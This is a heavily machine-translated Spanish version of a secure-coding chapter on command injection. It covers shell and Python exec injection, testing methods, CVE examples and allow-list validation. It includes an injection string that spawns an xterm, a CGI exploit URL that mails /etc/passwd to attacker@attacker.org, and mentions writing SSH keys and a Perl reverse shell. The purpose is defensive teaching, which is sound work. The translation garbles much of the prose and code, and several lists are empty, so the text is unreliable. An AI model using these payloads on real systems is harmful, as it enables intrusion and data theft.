Inyección Del Comando
En 1994, el autor de esta clase particular se sentaba delante de una computadora del SGI que funcionaba IRIX que demostraba simplemente la pantalla de la conexión. Dio la opción para imprimir una cierta documentación y para especificar la impresora para utilizar. El autor se imaginaba lo que pudo ser la puesta en práctica, especificó una secuencia que el didn’t refiere realmente a una impresora, e hizo repentinamente una ventana del administrador en una caja el wasn t del autor’no solamente supuesto para tener acceso a, pero también el wasn’t incluso registrar en. El problema era un ataque de la inyección del comando, donde el usuario entró que fue significado para ser datos puede ser interpretado realmente parcialmente como comando de una cierta clase. A menudo, ese comando puede dar a la persona con control sobre el acceso de los datos a lejos más acceso que fue pensado siempre. Idiomas AfectadasLos problemas de la inyección del comando son una preocupación siempre los comandos y los datos se ponen en línea juntos. Mientras que las idiomas pueden conseguir libradas de algunos de los ataques más directos de la inyección del comando proporcionando los buenos interfaces de programación de uso (APIs) que realizan la validación apropiada de la entrada, hay siempre la posibilidad que APIs nuevo introducirá nuevas clases de ataques de la inyección del comando. El Pecado ExplicóLos problemas de la inyección del comando ocurren cuando untrusted datos se coloca en los datos que se pasan a una cierta clase de recopilador o de intérprete, donde pudieron los datos, si’s ajustaron a formato de una manera particular, se traten como algo con excepción de datos. El ejemplo canónico para este problema ha sido siempre las llamadas del API que llaman directamente a intérprete del comando del sistema sin ninguna validación. Por ejemplo, la vieja pantalla de la conexión de IRIX (mencionada previamente) hacía algo a lo largo de las líneas de: carbón buf[1024 ]; snprintf(buf, "lpr del sistema - P %s", user_input, sizeof(buf)-1); system(buf); En este caso, el usuario era no privilegiado, puesto que podría ser absolutamente cualquier persona que vagaba por un sitio de trabajo. Todavía, simplemente mecanografiando el texto: FRED; el xterm&, un terminal haría estallar para arriba, porque; terminaría el comando original en la cáscara del sistema; y el comando del xterm crearía una ventana terminal nueva entera lista para los comandos, con y decir el sistema funcionar el proceso sin el bloqueo del proceso actual. (en la cáscara de Windows, el metacharacter del signo "&" actúa iguales que un punto y coma en una caja de UNIX.) ¡Y, puesto que el proceso de la conexión tenía privilegios administrativos, el terminal que creó también tendría privilegios administrativos! Hay un montón de funciones a través de muchas idiomas que sean susceptibles a tales ataques, como usted’ll ve más adelante. Pero, un doesn t del ataque de la inyección’del comando requiere una función que llame a una cáscara del sistema. Por ejemplo, un atacante pudo poder leverage una llamada a un intérprete de la lengua. Esto es bastante popular en idiomas de alto nivel tales como Perl y python. Por ejemplo, considere el código siguiente del python: call_func(user_input, system_data del def): exec ' special_function_%s("%s") ' % (system_data,
user_input
En el código precedente, del operador del python el % actúa como * specifiers del printf en C. Emparejan encima de valores en paréntesis con valores de %s en la secuencia. Consecuentemente, este código se piensa para llamar una función elegida por el sistema, pasándole la discusión del usuario. Por ejemplo, si el system_data fuera muestra y fuera el user_input fred, el python funcionaría el código: special_function_sample("fred")
Y, este código funcionaría en el mismo alcance que la declaración del exec está adentro. Los atacantes que controlan el user_input pueden ejecutar cualquier código del python que deseen con ese proceso, simplemente agregando una cotización, seguida por paréntesis derechos y un punto y coma. Por ejemplo, el atacante podía intentar la secuencia: fred"); impresión ("foo
Esto hará la función funcionar el código siguiente: special_function_sample("fred"); impresión ("foo")
El hará no solamente lo que pensó el programador, pero también imprimirá foo. Los atacantes pueden hacer literalmente cualquier cosa aquí, incluyendo borre los archivos con los privilegios del programa, o aún haga las conexiones de red. Si esta flexibilidad da atacantes tiene acceso a más privilegios que tenían de otra manera, esto son un problema de la seguridad. Muchos de estos problemas ocurren cuando las construcciones y los datos del control juxtaposed, y los atacantes pueden utilizar un carácter especial para cambiar el contexto de nuevo a construcciones del control. En la caja de cáscaras del comando, hay los caracteres mágicos numerosos que pueden hacer esto. Por ejemplo, en la mayoría UNIX-como las máquinas, si los atacantes agregaran un punto y coma (que termina una declaración), backtick (los datos entre los backticks consiguen ejecutados como código), o una barra vertical (toda después de que la barra se trate como otra, proceso relacionado), podrían funcionar comandos arbitrarios. Hay otros caracteres especiales que pueden cambiar el contexto de datos al control; éstos son justos el más obvio. Una técnica común para atenuar problemas con comandos de funcionamiento es utilizar un API para llamar el comando directamente, sin pasar a través de una cáscara. Por ejemplo, en una caja de UNIX, allí’s la familia del execv() de las funciones, que salta la cáscara y llama el programa directamente, dando las discusiones como secuencias. Esto es una buena cosa, pero el doesn’t soluciona siempre el problema, particularmente porque el programa frezado sí mismo pudo poner datos a la derecha al lado de construcciones importantes del control. Por ejemplo, llamar el execv() en un programa del python que entonces pasa la lista de la discusión a un exec sería malo. Incluso hemos visto los casos donde el execv() d’/bin/sh (la cáscara de la gente del comando), que falta totalmente el punto. Pecados RelacionadosAlgunos de los pecados se pueden ver como clases específicas de problemas de la inyección del comando. La inyección del SQL es claramente una clase específica de ataque de la inyección del comando. Los problemas de la secuencia del formato se pueden considerar como clase de problema de la inyección del comando, también. Esto es porque el atacante toma un valor que el programador esperó que fuera datos, y después los rellenos leen y escriben comandos (por ejemplo, el specifier de %n es un comando de escribir). Esos casos particulares son tan comunes que’ve los tratamos por separado. Éste es también el problema de la base en el cruz-sitio scripting, donde los atacantes pueden eligieron los datos que parecen elementos particulares del control de la tela si esos datos no se validan correctamente. Manchar el patrón del pecadoAquí están los elementos al patrón:
Manchar el pecado durante la revisión de códigoHay llamadas del API y construcciones numerosas de la lengua a través de una variedad amplia de diversos lenguajes de programación que sean susceptibles a este problema. Un buen acercamiento a repasar el código para este problema está a primero identifica cada construcción que se podría utilizar posiblemente para invocar cualquier clase de procesador del comando (cáscaras incluyendo del comando, una base de datos, o el intérprete del lenguaje de programación sí mismo). Entonces, mirada con el programa para ver si cualesquiera de esas construcciones se utilizan realmente. Si son, entonces compruebe para ver si una medida defensiva conveniente esté tomada. Mientras que las medidas defensivas pueden variar basado en el pecado, uno debe generalmente ser escéptico de acercamientos negar-lista-basados, y la permitir-lista del favor se acerca (véase “la sección de los pasos” del rescate que sigue). Aquí están algunas de las construcciones más populares que se preocuparán alrededor:
Técnicas de prueba para encontrar el pecadoGeneralmente, la cosa a hacer es tomar cada entrada, pensar en qué clase de cáscara del comando podría conseguir posiblemente pasada apagado, después intentar pegarse en cada metacharacter para esa cáscara, y considera si sopla para arriba. Por supuesto, usted desea elegir entradas de una manera que, si el metacharacter trabaja, suceda algo voluntad mensurable realmente. Por ejemplo, si usted desea probar para ver si los datos se pasan a una cáscara de UNIX, agregue un punto y coma, y después intente enviarse algo. Pero, si los datos son interior puesto a la sentencia protegida, usted puede ser que tenga que insertar una cotización del final para salir. Para cubrir esto, usted puede ser que tenga un caso que inserta una cotización seguida por un punto y coma, entonces un comando de la prueba que se envía algo. Compruebe si estrella o hace otras malas cosas, así como si usted consigue E-mail; su caso de la prueba no pudo realizar la secuencia exacta del ataque, sino que puede ser que esté bastante cercano que puede inmóvil revelar el problema. Mientras que hay muchos de defensas posibles, en la práctica, usted ganó probablemente’necesidad de t de conseguir demasiado de lujo. Usted puede crear generalmente un programa simple que cree un número de permutaciones de los varios metacharacters (los caracteres de control que tienen significados especiales, por ejemplo;) y los comandos, envían ésos a las varias entradas, y consideran si algo los resultados inconvenientes. Las herramientas de las compañías tales como dinámicas y Watchfire de SPI automatizan esta clase de prueba para los usos tela-basados. Pecados Del EjemploLas entradas siguientes en el Web site común de las vulnerabilidades y de las exposiciones (CVE) (http://cve.mitre.org) son ejemplos de los ataques de la inyección del comando. CAN-2001-1187La escritura del interfaz de entrada común del Perl de CSVForm (cgi) agrega expedientes a un archivo de base de datos separado coma del valor (CSV). OmniHTTPd 2.07 naves del web server con una escritura llamó statsconfig.pl. Después de que se analice la pregunta, el nombre de fichero (pasado en el parámetro del archivo) consigue pasado al código siguiente: modify_CSV secundario {if(open(CSV,
$_[0])){ … }
Allí’s ninguna validación de la entrada hecha en el nombre de fichero, cualquiera. Usted puede utilizar tan el truco cruel de agregar una pipa al final del nombre de fichero. Una hazaña del ejemplo consistiría en el visitar del URL siguiente: http://www.example.com/cgi-bin/csvform.pl?file=mail%20attacker@attacker.org</etc/passwd| En un sistema de UNIX, esto E-mail de la voluntad el archivo de la contraseña del sistema a un atacante. Observe que los %20 es un espacio URL-CODIFICADO. El descifrar consigue hecho antes de que la escritura del cgi consiga pasada sus datos. La hazaña del ejemplo damos el isn’t todo el que interesando actualmente, porque el archivo de la contraseña de UNIX da solamente usernames. Los atacantes decidirán probablemente a hacer algo en lugar de otro que permitirá que se abran una sesión, por ejemplo escriben una llave pública a ~/.ssh/authorized_keys. O, los atacantes pueden utilizar esto al upload y funcionar realmente cualquier programa que deseen escribiendo octetos a un archivo. Puesto que el Perl está instalado obviamente ya en cualquier caja que funciona esto, una cosa obvia a hacer sería escribir una escritura simple del Perl para conectar de nuevo al atacante, y en la conexión, da a atacante una cáscara del comando. CAN-2002-0652El servicio del montaje del sistema de ficheros de IRIX permite el montaje alejado del sistema de ficheros sobre llamadas del RPC, y es instalado generalmente por el defecto. Resulta que, encima de hasta que el insecto fue encontrado en 2002, muchos del archivo comprueban que el servidor necesitara hacer cuando recibiera una petición alejada fuera puesto en ejecucio'n usando el popen() para funcionar comandos de la línea de comando. La información usada en esa llamada fue tomada directamente del usuario alejado, y un punto y coma bien-colocado en el parámetro del RPC permitiría que el atacante funcionara comandos de la cáscara como raíz en la caja. Pasos Del RescateLa cosa obvia a hacer es nunca invocar a un intérprete del comando de cualquier clase. Pero, ese isn’t siempre práctico, especialmente al usar una base de datos. Semejantemente, sería justa alrededor como útil para decir que si usted tiene que utilizar una cáscara del comando, ponga’el uso de t cualquier dato externo en él. Ese consejo práctico’justo del isn t en la mayoría de los casos. La única respuesta de mérito es hacer la validación. El camino al rescate es absolutamente directo aquí:
Validación De DatosEn el nivel más alto, usted tiene dos opciones. Usted puede o validar todo usted’re ir a enviar apagado al proceso externo, o usted puede apenas validar las piezas de las cuales se entran untrusted fuentes. Cualquiera uno está muy bien, mientras usted’re cuidadoso sobre él. ’S generalmente una buena idea de validar datos externos endereza antes de que usted la utilice. Hay pares de las razones de esto. Primero, se asegura de que los datos consigan examinados en cada trayectoria de datos que conduce a ese uso. En segundo lugar, la semántica de los datos a menudo el mejor correcto entendido antes de usar los datos. Esto permite que usted sea tan exacto como sea posible con sus cheques de la validación de la entrada. También es una buena defensa contra la posibilidad de los datos que son modificados de una mala manera después del cheque. En última instancia, sin embargo, una estrategia de la defensa-en-profundidad es la mejor aquí. Él’s también bueno comprobar datos pues viene adentro de modo que no haya riesgo de él que es utilizado sin la comprobación a otra parte. Particularmente si hay porciones de los lugares en donde los datos pueden ser abusados, puede ser que sea fácil pasar por alto un cheque en algunos lugares. Hay tres maneras prominentes de determinar validez de los datos:
Todos estos acercamientos tienen la desventaja que usted puede ser que se olvide algo importante. En el caso de negar-listas y de cotizar, esto podía obviamente tener malas implicaciones de la seguridad. En hecho, él’s inverosímil que usted’extremo del ll para arriba con software seguro usando un acercamiento de la negar-lista si usted’re pasar los datos a algunas clases de sistemas (tales como cáscaras), porque la lista de los caracteres que pueden tener significado especial es realmente absolutamente muy larga. Para algunos sistemas, apenas sobre cualquier cosa con excepción de letras y de dígitos puede tener un significado especial. El cotizar es también mucho más difícil de uno pudo pensar. Por ejemplo, cuando uno es el código de la escritura que realiza cotizar para algunas clases de procesadores del comando,’s común a la toma una secuencia, y la pega en cotizaciones. Si usted’re no cuidadoso, atacantes puede apenas lanzar sus propias cotizaciones adentro allí. Y, con algunos procesadores del comando, hay los metacharacters uniformes que tienen significado dentro de una sentencia protegida (éste incluye cáscaras del comando de UNIX). Para darle un sentido de cómo es difícil puede ser, intento de anotar cada metacharacter de la cáscara de UNIX en sus el propio. Incluya todo que se pueda tomar como control, en vez de datos. ¿Cómo grande es su lista? Nuestra lista incluye cada pedazo de puntuación excepto @, _, +,:, y la coma. Y nosotros’re no seguro que esos caracteres son universal seguros. Pudo haber las cáscaras re donde’ellos no. Usted puede pensar que usted tiene algunos otros caracteres que se puedan nunca interpretar con el significado especial. ¿Un signo de menos? Eso se pudo interpretar como señalar el comienzo de una comando-li'nea opción si él’s en el comienzo de una palabra. ¿Cómo sobre el quilate (^)? usted lo sabía hace la substitución? ¿Cómo sobre los % de la muestra? Mientras que puede ser que sea a menudo inofensivo cuando estaba interpretado como metacharacter, él es un metacharacter en algunas circunstancias, porque hace control de trabajo. El tilde (~) es similar en que, en algunos panoramas, se ampliará al directorio casero de un usuario si’s en el comienzo de una palabra, sino de otra manera no es considerado un metacharacter. Eso podría ser una salida de la información o peor, particularmente si es un vector para ver una parte del sistema de ficheros ese el shouldn t’del programa pueda considerar. Por ejemplo, usted puede ser que pegue su programa en /home/blah/application, y después rechaza puntos dobles en la secuencia. Pero el usuario pudo poder tener acceso cualquier cosa en /home/blah apenas prefijando con el ~blah. Incluso los espacios pueden ser caracteres de control, porque se utilizan para separarse semántico entre las discusiones o los comandos. Hay muchos tipos de espacios con este comportamiento, incluyendo lengüetas, las nuevas líneas, los retornos del carro, las alimentaciones de forma, y las lengüetas verticales. El más, allí puede ser los caracteres de control como CTRL-D y el carácter NULO que pueden tener efectos indeseables. Todos en todos, él’s mucho más fácil utilizar una permitir-lista. Si usted’re ir a utilizar una negar-lista, usted’d sea mejor increíblemente seguro usted’re cubrir todas sus bases. Pero, las permitir-listas solamente pueden no ser bastantes. La educación es definitivamente necesaria, porque incluso si usted’re usar una permitir-lista, usted puede ser que permita espacios o tildes sin realizar qué pudo suceder en su programa de una perspectiva de la seguridad. Otra edición con las permitir-listas es que usted puede ser que tenga usuarios infelices porque las entradas que deben ser permitidas aren’t. Por ejemplo, usted puede ser que no permita a “+” en una dirección del E-mail, pero encuentra a gente como quien utilizarla para distinguir a quién él’re dar su dirección del E-mail. No obstante, el acercamiento de la permitir-lista es fuertemente preferible a los otros dos acercamientos. Considere el caso donde usted toma un valor del usuario que usted’convite del ll como nombre de fichero. Deje’la opinión de s que usted hace la validación como tal (este ejemplo está en python): para el carbón en nombre de fichero: si (no carbón en string.ascii_letters y no carbón en string.digits y carbón < > '.'): aumento "InputValidationError" Esto da un plazo de períodos de modo que el usuario pueda mecanografiar adentro archivos con extensiones, pero se olvida sobre la raya, que es común. Pero, con un acercamiento de la negar-lista, usted puede ser que no haya pensado rechaza la raya vertical, que sería mala; un atacante podía utilizarla más los puntos para tener acceso a archivos a otra parte en el filesystem, más allá del directorio actual. Con un acercamiento que cotiza, usted habría tenido que escribir una rutina mucho más compleja del análisis. Él’s común para utilizar expresiones regulares para realizar esta clase de prueba. Las expresiones regulares son fáciles conseguir incorrectas, sin embargo, especialmente cuando llegan a ser complejas. Si usted desea a las construcciones jerarquizadas manija y a tales, olvídese sobre ella. Generalmente, de una opinión de la seguridad, él’s mejor a ser seguro que apesadumbrado. Usar expresiones regulares puede conducir a las prácticas fáciles más bien que seguras, particularmente cuando los cheques más exactos requerirían una comprobación semántica más compleja que un fósforo simple del patrón. Cuando un cheque fallaHay tres estrategias generales a ocuparse de una falta. Ellas’re mutuamente exclusiva no uniforme.’S bueno a siempre hace por lo menos los primeros dos:
Ponemos’t recomendamos generalmente la tercera opción. Puede usted incurrir en no sólo una equivocación, sino que también cuando usted pone’t incurra en una equivocación, pero el usuario del extremo , la semántica puede ser inesperado.’S más fácil fallar simplemente, y tan con seguridad. Medidas Defensivas AdicionalesSi usted sucede utilizar el Perl, la lengua tiene instalaciones para ayudarle a detectar esta clase de error en el tiempo de pasada.’S llamó modo de la corrupción. La idea básica es que el Perl ganó’t le dejó enviar unsanitized datos a una de las malas funciones arriba. Pero, los cheques trabajan solamente en modo de la corrupción, así que usted no consigue ninguna ventaja si usted pone’t lo funciona. Más, usted puede accidentalmente los datos de la un-corrupcio'n sin realmente validar cualquier cosa. Hay otras limitaciones de menor importancia, también, así que él’s bueno no confiar solamente en este mecanismo. No obstante, él’todavía s una gran herramienta de prueba, y generalmente digno de girarse como una de sus defensas. Para las llamadas comunes del API que invocan procesadores del comando, usted puede ser que desee escribirles su propia envoltura API que lo hace permitir-lista que se filtra, y lanza una excepción si la entrada es mala. Este shouldn’t sea la única validación de la entrada que usted lo hace porque, a menudo,’s mejor para realizar una cordura más detallada comprueba en valores de los datos. Pero, él’s una buena primera línea de defensa, y él’s fácil hacer cumplir. Usted puede o marca las envolturas substituir “las malas” funciones, o usted puede utilizar una herramienta simple de la búsqueda en código que revisa para encontrar todos los casos que usted faltó y que hace rápidamente el reemplazo derecho. Conclusiones
esto es un artículo agregado por Hendra Fang
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||
|